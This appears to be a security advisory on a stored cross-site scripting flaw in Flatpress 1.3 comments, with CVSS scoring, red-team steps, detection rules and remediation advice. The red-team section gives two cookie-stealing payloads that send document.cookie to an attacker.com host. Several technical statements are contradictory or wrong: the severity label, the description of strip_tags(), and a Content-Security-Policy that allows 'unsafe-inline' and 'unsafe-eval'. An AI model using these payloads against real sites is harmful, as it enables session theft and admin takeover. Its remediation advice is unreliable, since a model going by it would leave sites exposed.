CVE-2024-33210

Executive Summary

CVE-2024-33210 identifies a stored cross-site scripting (XSS) vulnerability in Flatpress 1.3, a flat-file CMS. The flaw allows an attacker to inject arbitrary JavaScript into web pages viewed by other users, leading to session hijacking, defacement, or credential theft. No official patch has been released by the vendor, and no public exploit code is available. The vulnerability is classified as low severity (CVSS 3.1 base score 5.4) due to the requirement for user interaction and the limited impact on confidentiality and integrity.

Supply Chain & Package Security

Flatpress is a PHP-based CMS distributed as a ZIP archive from its official website and GitHub repository. No package manager (NPM, PyPI, Go, Ruby) is involved. The risk is limited to direct installation of the vulnerable version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium. Exploitation requires user interaction (e.g., clicking a crafted link), but the attack can be launched remotely without authentication. The impact is limited to low-level data exposure and partial content manipulation.

Deep Dive & Mechanics

The vulnerability resides in the comment submission functionality of Flatpress 1.3. User-supplied input in the comment body is not properly sanitized before being stored and rendered in the admin panel or public pages. An attacker can submit a comment containing malicious JavaScript, which will execute when an administrator or other user views the comment.

Root Cause: The strip_tags() function is used for sanitization, but it does not remove inline event handlers (e.g., onmouseover, onclick) or script tags when combined with certain HTML attributes. Additionally, the htmlspecialchars() function is not applied to the comment content before output.

Attack Vector:

1. Attacker submits a comment with a payload like <script>alert('XSS')</script> or <img src=x onerror=alert(1)>.
2. The comment is stored in a flat-file database (fp-content/comments/).
3. When an admin views the comment in the dashboard or a user views the post, the script executes in their browser.

Impact:

• Session cookie theft (if HttpOnly flag is not set)
• Admin account takeover
• Defacement of the site
• Redirection to malicious sites

Vulnerable vs. Patched Code

Vulnerable Code (Flatpress 1.3):

// In fp-includes/core/core.comments.php
function comment_parse($comment) {
    $comment = strip_tags($comment);
    return $comment;
}

Patched Code (Hypothetical):

function comment_parse($comment) {
    $comment = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');
    return $comment;
}

The vulnerable code uses strip_tags() which only removes HTML tags but leaves event handlers intact. The patched code uses htmlspecialchars() to encode all special characters, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Flatpress 1.3 installed and accessible
• A post with comments enabled

Exploitation Steps:

1. Navigate to a blog post with a comment form.
2. Submit a comment with the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Wait for an admin to view the comment in the admin panel (admin.php?p=comments).
4. The admin's session cookie is exfiltrated to the attacker's server.

Alternative Payload (Stealth):

<img src=x onerror="new Image().src='https://attacker.com/steal?c='+document.cookie">

Blue Team

Detection:

• Monitor for unusual comment submissions containing <script>, onerror, onload, or javascript:.
• Check web server logs for requests to /fp-content/comments/ followed by suspicious parameters.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Honeypot:

• Deploy a fake admin panel that logs all interactions. Any execution of JavaScript in the honeypot indicates an XSS attempt.

Indicators of Compromise (IOCs)

• File: fp-content/comments/ directory containing comment files with embedded JavaScript.
• Network: Outbound HTTP requests to attacker-controlled domains from the Flatpress server.
• Log: Web server access logs showing requests to admin.php?p=comments with a referrer from a blog post.
• Cookie: Unexpected PHPSESSID cookie values or multiple session IDs for the same user.

Detection Engineering

YARA Rule

rule flatpress_xss_comment {
    meta:
        description = "Detects XSS payloads in Flatpress comment files"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-33210"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Flatpress XSS Comment Submission
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in Flatpress comment submissions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 'comment'
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in comments (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Flatpress XSS Comment Injection"; flow:to_server,established; content:"POST"; http_method; content:"comment"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable comments in Flatpress via admin.php?p=options until a patch is applied.
2. Implement a WAF rule to block XSS payloads in POST requests to comment endpoints.
3. Manually patch the vulnerable file (fp-includes/core/core.comments.php) by replacing strip_tags() with htmlspecialchars().

Long-Term Fix:

• Upgrade to a patched version of Flatpress if released.
• Consider migrating to a more actively maintained CMS.
• Apply Content Security Policy (CSP) headers to mitigate XSS impact:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
  

Workaround:

• Use .htaccess to restrict access to the comment directory:

  <Directory "/var/www/html/fp-content/comments">
      Order Deny,Allow
      Deny from all
  </Directory>
  

Valters IT